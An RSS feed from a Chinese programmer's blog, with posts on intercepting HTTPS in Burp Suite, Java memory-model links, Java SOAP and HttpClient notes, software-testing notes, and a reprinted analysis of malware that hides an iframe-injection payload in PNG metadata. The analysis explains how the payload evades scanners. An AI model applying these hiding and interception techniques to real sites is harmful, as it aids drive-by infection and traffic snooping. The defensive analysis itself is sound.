<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>互联网 on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/tags/%E4%BA%92%E8%81%94%E7%BD%91/</link>
    <description>Recent content in 互联网 on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sun, 29 Jun 2014 06:43:48 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/tags/%E4%BA%92%E8%81%94%E7%BD%91/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>burpsuite抓包https</title>
      <link>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</link>
      <pubDate>Sun, 29 Jun 2014 06:43:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</guid>
      <description>&lt;p&gt;最近工作需要，需要burpsuite抓下https的包&lt;/p&gt;
&lt;p&gt;burpsuite抓包https的时候，如果是https协议，火狐会不信任证书&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/untrust.jpg&#34;&gt;&lt;img alt=&#34;untrust&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/14c5d2aedaa02e325fe21c03758796234ed83576.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个时候点击我已充分了解可能的风险，然后添加例外，弹出图中的对话框&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/step.jpg&#34;&gt;&lt;img alt=&#34;step&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4adf7f8902f07ea98a728a2d71270906208bfea6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击查看，进入证书管理企业免，选择图中的PortSwigger CA根证书，选择导出，保存一下这个证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/export.jpg&#34;&gt;&lt;img alt=&#34;export&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6e81972ac7283935e22a260f92ab4a582780eb73.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后打开火狐的选项，进入高级-&amp;gt;证书-&amp;gt;查看证书-&amp;gt;证书机构-&amp;gt;导入，选择刚才的证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/import.jpg&#34;&gt;&lt;img alt=&#34;import&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3e43de2ca0a2c88519035a3d39a60fb8757c4da9.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;，最后，记住选中信任此CA证书标识的网站，ok&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/finish.jpg&#34;&gt;&lt;img alt=&#34;finish&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/070d8695abea24e9e8bf11e162f12afccaa5385f.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在再抓包，可以看到https也抓到了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/capture.jpg&#34;&gt;&lt;img alt=&#34;capture&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/cf1f9324b8934ba12cab8ea0a19a530897e206e3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]深入理解Java内存模型</title>
      <link>http://blog.leaver.me/2014/03/11/%E8%97%8F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3java%E5%86%85%E5%AD%98%E6%A8%A1%E5%9E%8B/</link>
      <pubDate>Tue, 11 Mar 2014 08:28:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/11/%E8%97%8F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3java%E5%86%85%E5%AD%98%E6%A8%A1%E5%9E%8B/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-1/&#34;&gt;深入理解java内存模型（一）——基础&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-2/&#34;&gt;深入理解java内存模型（二）——重排序&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-3/&#34;&gt;深入理解java内存模型（三）——顺序一致性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-4/&#34;&gt;深入理解java内存模型（四）——volatile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-5/&#34;&gt;深入理解java内存模型（五）——锁&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model/&#34;&gt;深入理解java内存模型（六）——final&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-7/&#34;&gt;深入理解java内存模型（七）——总结&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>[藏]隐藏在PNG图像元数据中的新iFrame注入攻击</title>
      <link>http://blog.leaver.me/2014/02/09/%E8%97%8F%E9%9A%90%E8%97%8F%E5%9C%A8png%E5%9B%BE%E5%83%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%B8%AD%E7%9A%84%E6%96%B0iframe%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</link>
      <pubDate>Sun, 09 Feb 2014 09:23:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/09/%E8%97%8F%E9%9A%90%E8%97%8F%E5%9C%A8png%E5%9B%BE%E5%83%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%B8%AD%E7%9A%84%E6%96%B0iframe%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</guid>
      <description>&lt;p&gt;这个攻击方式很旧了，但手法相当不错，来自&lt;a href=&#34;http://www.lembed.com/new-iframe-injections-leverage-png-image-metadata/&#34;&gt;乐嵌网&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们一直在努力保持领先的最新趋势，今天我们发现了一个非常有趣的事，这或者是我们之前没有发现，或者是刚发生的。 我们只能说这是新发现的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们都了解的iFrame注入攻击，对吧？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;了解一个iFrame注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;今天的iFrame 是非常标准的HTML标记，它是在自己网页中嵌入其他网站内容的简单方式。 被几乎所有的浏览器支持和百万计的网站使用，使用AdSense吗？ 那么你的网站中就有一个iFrame。&lt;/p&gt;
&lt;p&gt;我知道这东西很好，然而总是福祸相惜。&lt;/p&gt;
&lt;p&gt;今天的攻击，特别是当我们谈论路过式下载，首选是利用IFRAME标记。 它简单方便，只需简单的属性修改，攻击者可以稳妥的从另一个站点嵌入代码，并通过客户的浏览器不知不觉的加载。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;像这样：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/iframe-sample.png&#34;&gt;&lt;img alt=&#34;iframe-sample&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3da10af5e9e3a897cf39927ee28a0106f297880a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;攻击者通常从其他网站嵌入的恶意文件，通常是一个PHP文件或类似的形式。 当然，这并不是唯一的方法，但是是最普遍的。 从检测和修复的角度来看，这往往很容易修复。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;新的iFrame注入法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然而今天，我们发现一个有趣的iFrame注入类型。&lt;/p&gt;
&lt;p&gt;它的特殊之处不是在iframe标签中嵌入的内容，而是它分发恶意软件的方式。 你会看到，攻击者将威胁隐藏在PNG文件中。&lt;/p&gt;
&lt;p&gt;我几乎可以听到很多你的窃笑，PFF .. 这不是新的…. 但问题是在细节上我的朋友。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如下，iFrame加载了一个有效的文件，没有什么恶意，一个叫jquery.js的JavaScript文件。这一切看上去都很好。你要细细的找：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/blog_injection1-494x650.png&#34;&gt;&lt;img alt=&#34;blog_injection1-494x650&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7f64ba23d5fd4d5763ff921134e11beede62faeb.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;起初，很多人会说我们傻。 这些代码很好，没看见什么问题，对不对？ 然后，我们注意到了这个小函数，loadFile（）。 函数本身并不奇怪，但事实上，它是装载一个PNG-&lt;strong&gt;var strFile = ‘./dron.png&lt;/strong&gt;。 你会被它惊讶良久，它才是一个真正的黑手。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;自然，下一步就是好奇的打开dron.png文件。 会有什么可怕的事情发生吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;噢，什么都没有，太无聊了，这纯粹是浪费时间。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/Sucuri-iframe-png.png&#34;&gt;&lt;img alt=&#34;Sucuri-iframe-png&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0d8a2bcd6d6e5a6ac87f8858fe8f0a81878d6bbc.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是，请等一下，我发现这里有个有趣的小循环。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/Sucuri-PNG-Decoding-Loop.png&#34;&gt;&lt;img alt=&#34;Sucuri-PNG-Decoding-Loop&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c17a78234586bebb89f023d8023b6b69d9f574b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;嗯，这是确实挺奇怪的，这是一个解码循环。 为什么要一个循环的解码PNG文件呢？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;作为一个优秀的研究人员，采取最简单的方式，我可以将它加载到简单的测试页上 并提取图像内容。搞定！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;测试页上加载它之后这，我们获得了strData变量：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/sucuri-png-iframe-payload.png&#34;&gt;&lt;img alt=&#34;sucuri-png-iframe-payload&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4a1a1266a40ff50c6d0328eea9c9e849e043ae05.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看到它在干嘛了吗？&lt;/p&gt;
&lt;p&gt;它做了个iFrame注入，并把它嵌入到PNG的元数据中，像一个新的分配机制。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;有两点需要特别注意了，它使用&lt;strong&gt;createElement&lt;/strong&gt;做了一个&lt;strong&gt;iFrame&lt;/strong&gt;标签**，&lt;strong&gt;然后设置&lt;/strong&gt;elm.style.position.left 和 elm.style.position.top **属性的值为-1000px，把iframe放到可视区域之外。这些值都是负值，在浏览器中根本看不到。但是你知道谁能看到吗？只有浏览器和Google能看到。这就是下载驱动和搜索引擎感染（SEP)攻击的小伎俩。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后我们在&lt;strong&gt;elm.src&lt;/strong&gt;元素中发现了真正的威胁**。**&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;做的这么独特到底有什么用呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它尽力隐藏真正的威胁的水平是独特的。现在的杀毒软件不会解码图像元数据，直到JavaScript文件加载完毕就停止扫描。不会追踪cookie文件，对于攻击者来说，这太好了，使它们很难被发现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;记住一点，尽管我们这里谈论的是PNG文件，这些方法和概念也可以应用到其他类型图像中。重要的一点是：留意你的web 服务状态，了解哪些修改和未修改的文件并确保漏洞未被利用。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;通常情况下，一些新的侦查和排障需要一定的时间。 现在我们的 网站恶意软件扫描器能发现它吗 ？ 绝对可以！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;不要笑了，朋友们！&lt;/p&gt;
&lt;p&gt;原文：&lt;a href=&#34;http://blog.sucuri.net/2014/02/new-iframe-injections-leverage-png-image-metadata.html&#34;&gt;new-iframe-injections-leverage-png-image-metadata&lt;/a&gt; by Peter Gramantik&lt;/p&gt;</description>
    </item>
    <item>
      <title>[笔记]写代码遇到的一些问题汇总下</title>
      <link>http://blog.leaver.me/2014/02/08/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8B/</link>
      <pubDate>Sat, 08 Feb 2014 11:06:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/08/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8B/</guid>
      <description>&lt;p&gt;本篇是用来填&lt;a href=&#34;http://leaver.me/archives/3454.html&#34;&gt;上一篇 &lt;/a&gt;挖下的坑的。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;1.java调用webservice&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;有一些已有的webservice服务，由xfire生成发布，有些有参数，有些无参数，无参数的直接我直接使用org.codehaus.xfire这个包里的Client来动态生成客户端。然后调用就可以了。非常简单&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Client client = null;
		try {
			client = new Client(
					new URL(
							&#34;http://leaver.me/testService?wsdl&#34;));
			client.invoke(&#34;refreshAllCache&#34;, new Object[0]);

		} catch (MalformedURLException e) {

			e.printStackTrace();
		} catch (Exception e) {

			e.printStackTrace();
		}&lt;/pre&gt;
&lt;p&gt;但对于有参的，且是服务器自定义的类作为参数的时候，实在是搞不定。。不管是把自定义的类放到本地，包名一致，在invoke的时候生成这个对象还是其他什么方法。都无法完成。&lt;/p&gt;
&lt;p&gt;最终换了直接发送soap报文来完成。dirty hack啊。如果你有一些好的方法希望不吝赐教。&lt;/p&gt;
&lt;p&gt;解决方案来源自&lt;a href=&#34;http://stackoverflow.com/a/15942217/764869&#34;&gt;stackoverflow&lt;/a&gt;，因为stackoverflow现在国内好像有时候打不开。因此把代码贴过来。有疑问的话留言讨论。&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;import javax.xml.soap.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;

public class SOAPClientSAAJ {

    /**
     * Starting point for the SAAJ - SOAP Client Testing
     */
    public static void main(String args[]) {
        try {
            // Create SOAP Connection
            SOAPConnectionFactory soapConnectionFactory = SOAPConnectionFactory.newInstance();
            SOAPConnection soapConnection = soapConnectionFactory.createConnection();

            // Send SOAP Message to SOAP Server
            String url = &#34;http://ws.cdyne.com/emailverify/Emailvernotestemail.asmx&#34;;
            SOAPMessage soapResponse = soapConnection.call(createSOAPRequest(), url);

            // Process the SOAP Response
            printSOAPResponse(soapResponse);

            soapConnection.close();
        } catch (Exception e) {
            System.err.println(&#34;Error occurred while sending SOAP Request to Server&#34;);
            e.printStackTrace();
        }
    }

    private static SOAPMessage createSOAPRequest() throws Exception {
        MessageFactory messageFactory = MessageFactory.newInstance();
        SOAPMessage soapMessage = messageFactory.createMessage();
        SOAPPart soapPart = soapMessage.getSOAPPart();

        String serverURI = &#34;http://ws.cdyne.com/&#34;;

        // SOAP Envelope
        SOAPEnvelope envelope = soapPart.getEnvelope();
        envelope.addNamespaceDeclaration(&#34;example&#34;, serverURI);

        /*
        Constructed SOAP Request Message:
        &amp;lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&#34;http://schemas.xmlsoap.org/soap/envelope/&#34; xmlns:example=&#34;http://ws.cdyne.com/&#34;&amp;gt;
            &amp;lt;SOAP-ENV:Header/&amp;gt;
            &amp;lt;SOAP-ENV:Body&amp;gt;
                &amp;lt;example:VerifyEmail&amp;gt;
                    &amp;lt;example:email&amp;gt;mutantninja@gmail.com&amp;lt;/example:email&amp;gt;
                    &amp;lt;example:LicenseKey&amp;gt;123&amp;lt;/example:LicenseKey&amp;gt;
                &amp;lt;/example:VerifyEmail&amp;gt;
            &amp;lt;/SOAP-ENV:Body&amp;gt;
        &amp;lt;/SOAP-ENV:Envelope&amp;gt;
         */

        // SOAP Body
        SOAPBody soapBody = envelope.getBody();
        SOAPElement soapBodyElem = soapBody.addChildElement(&#34;VerifyEmail&#34;, &#34;example&#34;);
        SOAPElement soapBodyElem1 = soapBodyElem.addChildElement(&#34;email&#34;, &#34;example&#34;);
        soapBodyElem1.addTextNode(&#34;mutantninja@gmail.com&#34;);
        SOAPElement soapBodyElem2 = soapBodyElem.addChildElement(&#34;LicenseKey&#34;, &#34;example&#34;);
        soapBodyElem2.addTextNode(&#34;123&#34;);

        MimeHeaders headers = soapMessage.getMimeHeaders();
        headers.addHeader(&#34;SOAPAction&#34;, serverURI  + &#34;VerifyEmail&#34;);

        soapMessage.saveChanges();

        /* Print the request message */
        System.out.print(&#34;Request SOAP Message = &#34;);
        soapMessage.writeTo(System.out);
        System.out.println();

        return soapMessage;
    }

    /**
     * Method used to print the SOAP Response
     */
    private static void printSOAPResponse(SOAPMessage soapResponse) throws Exception {
        TransformerFactory transformerFactory = TransformerFactory.newInstance();
        Transformer transformer = transformerFactory.newTransformer();
        Source sourceContent = soapResponse.getSOAPPart().getContent();
        System.out.print(&#34;\nResponse SOAP Message = &#34;);
        StreamResult result = new StreamResult(System.out);
        transformer.transform(sourceContent, result);
    }

}&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;2.Access restriction on class due to restriction on required library rt.jar? 报错&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[笔记]写代码遇到的一些问题汇总上</title>
      <link>http://blog.leaver.me/2014/02/04/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8A/</link>
      <pubDate>Tue, 04 Feb 2014 19:13:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/04/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8A/</guid>
      <description>&lt;p&gt;今天大雪，天冷，不能出去玩了。把保存在pocket里的一些记录总结一下，太懒了。。下篇等我去了上海用我电脑写吧&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;1.java模拟https登陆&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;首先我要登陆，然后保存cookie，然后利用cookie来访问后续的网页，发包，处理包这样，然后，为了方便，我选择了 org.apache.http 这个库，典型的一个登陆场景应该是这样的，以后遇到问题一定先要去看官方的例子，别人给出的例子一般要么是不能用，要么是用的方法都是一些过时的，虽然能用，但看到警告还是不舒服。&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;public static BasicCookieStore cookieStore;
//整个过程用一个client
public static CloseableHttpClient httpclient;
cookieStore = new BasicCookieStore();
httpclient = HttpClients.custom().setDefaultCookieStore(cookieStore).build();
//先访问一下首页，然后cookie、会填充进来
HttpGet httpget = new HttpGet(&#34;https://leaver.me/index.htm&#34;);
httpclient.execute(httpget);
CloseableHttpResponse responseCookie = null;
//然后post请求登陆
HttpPost httpost = new HttpPost(&#34;https://leaver.me/login.htm&#34;);
//通过键值对来作为post参数
List &amp;lt; NameValuePair &amp;gt; nameValuePairs = new ArrayList &amp;lt; NameValuePair &amp;gt; (1);
nameValuePairs.add(new BasicNameValuePair(&#34;loginType&#34;, &#34;1&#34;));
nameValuePairs.add(new BasicNameValuePair(&#34;loginName&#34;, username));
nameValuePairs.add(new BasicNameValuePair(&#34;Password&#34;, password));
httpost.setEntity(new UrlEncodedFormEntity(nameValuePairs, Consts.UTF_8));
CloseableHttpResponse responLogin = null;
responLogin = httpclient.execute(httpost);&lt;/pre&gt;
&lt;p&gt;但是，这个过程报了如下的错&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;e: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target&lt;/pre&gt;
&lt;p&gt;google之，发现时访问https的原因。需要先安装对应站点的证书。这里要用到一个通用的java类，我贴下&lt;a href=&#34;http://pan.baidu.com/s/1sjMyvgx&#34;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;编译这个工具类，然后执行java InstallCert &amp;lt;host&amp;gt;[:port] 会生成一个证书文件&lt;/p&gt;
&lt;p&gt;然后在项目里通过&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.setProperty(&#34;javax.net.ssl.trustStore&#34;,
				&#34;证书路径&#34;);&lt;/pre&gt;
&lt;p&gt;设置即可，你可以吧证书文件放到资源目录，就更好了。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;2.java正则替换反斜线&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;我在某个地方需要把字符串里的所有反斜线替换成两个，我就写了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str.replaceAll(&#34;\\&#34;,&#34;\\\\&#34;)&lt;/pre&gt;
&lt;p&gt;结果发现我还是too young,实际上，&lt;/p&gt;
&lt;p&gt;java replaceAll() 方法要用 4 个反斜杠,表示一个反斜杠 例如&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1=&#34;aa\bbb&#34;;&lt;/pre&gt;
&lt;p&gt;要想替换成&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1=&#34;aa\\bbb&#34;;&lt;/pre&gt;
&lt;p&gt;必须这样替换：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1 = str1.replaceAll(&#34;\\\\&#34;, &#34;\\\\\\\\&#34;);&lt;/pre&gt;
&lt;p&gt;原因如下： String 的 replaceAll（） 方法，实际是采用正则表达式的规则去匹配的， \\ ，java解析为\交给正则表达式， 正则表达式再经过一次转换，把\转换成为\ 也就是java里面要用正则来表示一个. 必须写成4个\ 如果要表示\，那就要写8个\ 所以如果写成： str1 = str1.replaceAll(&amp;quot;\&amp;quot;, &amp;ldquo;\\&amp;rdquo;); 就会报正则表达式的错误。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;3.httpClient如何模拟表单上传文件&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这个还是要去看官方例子，网上没找到，需要添加&lt;/p&gt;
&lt;p&gt;org.apache.http.entity包&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//文件部分
FileBody csvFile = null;
//表单的其他部分
StringBody filelog = null;
StringBody dataItemDefine = null;
csvFile = new FileBody(new File(file));
filelog = new StringBody(&#34;ADD&#34;, ContentType.TEXT_PLAIN);
dataItemDefine = new StringBody(GlobalSetting.getValueOfKey(type), ContentType.TEXT_PLAIN);
//关键代码,此处来构造请求数据
HttpEntity reqEntity = MultipartEntityBuilder.create().addPart(&#34;filelog&#34;, changeLogAction).addPart(&#34;dataItemDefine&#34;, dataItemDefine).addPart(&#34;fileName&#34;, csvFile).build();
HttpPost httppost = new HttpPost(&#34;https://leaver.me/uploadFile.action&#34;);
httppost.setEntity(reqEntity);
CloseableHttpResponse response = null;
response = httpclient.execute(httppost);&lt;/pre&gt;
&lt;p&gt;其他都和普通的post请求没啥区别了&lt;/p&gt;</description>
    </item>
    <item>
      <title>《软件测试》一点笔记</title>
      <link>http://blog.leaver.me/2013/07/26/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 26 Jul 2013 08:24:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/07/26/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;这两天在读《软件测试》，书不厚，也就300页，有些观念还是挺诧异的，比如软件功能超出产品说明书也算作软件缺陷&amp;hellip;想想也能明白，只是猛然看到还是很惊异..简单记录一下读书过程中一些重要的笔记.留作备份.&lt;/p&gt;
&lt;p&gt;软件缺陷：&lt;/p&gt;
&lt;div&gt;1.软件为达到产品说明书表明的功能&lt;/div&gt;
&lt;div&gt;2.软件出现了产品说明书指明不会出现的错误.&lt;/div&gt;
&lt;div&gt;3.软件功能超出产品说明书指明范围&lt;/div&gt;
&lt;div&gt;4.软件未达到产品说明书虽未指出但应达到的目标&lt;/div&gt;
&lt;div&gt;5.软件测试员认为软件难以理解，不易使用，运行速度缓慢，或者最终用户认为不好.&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;为什么会出现软件缺陷&lt;/div&gt;
&lt;div&gt;最大的原因是产品说明书.而并非编程错误，第二大来源是设计方案&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;软件测试员的目标是发现软件缺陷，进可能早一些，确保其得到修复&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;完全测试程序是不可能的&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;不要总是报告坏消息，如果软件没有错误，就夸他们，和他们聊天&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;可靠性只是质量的一个方面，可能还包括功能齐全，技术制裁，包括色彩等&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;在设计和执行测试案例时，首先进行通过测试，在破坏性试验之前看看软件基本功能是否实现是很重要的，否则在正常使用软件时就会奇怪为什么有这么多软件缺陷&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;软件测试员必须测试程序的状态及其转换&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;动态白盒测试的目标是寻找软件缺陷，调试则是为了修复他们&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;静态黑盒子（审查设计说明书），动态黑盒子，静态白盒子，动态白盒子&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;进行白盒测试前，一定要根据说明书建立黑盒测试案例&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;语句覆盖是程序的所有语句执行，分支覆盖则是所有分支都被执行，条件覆盖则要保证IF语句的每一种可能性都被覆盖&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;优秀UI的七个要素：&lt;/div&gt;
&lt;div&gt;1.符合标准和规范，2.灵活性，3.正确性。4.直观性。5.舒适性，6.实用性。7.一致性&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;测试存根用于自顶向下的测试，清查到低级模块或者把自己替换为低级模块，主要测试高级模块，外表和行为就像是低级模块&lt;/div&gt;</description>
    </item>
    <item>
      <title>[已失效]Csdn免积分下载器</title>
      <link>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Wed, 01 May 2013 20:39:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;转载请注明来源:&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原理很简单，目前好像还没有大规模传开，我就不透露了，大家低调使用.为了方便，我写了个客户端，下载地址在文章末尾&lt;/p&gt;
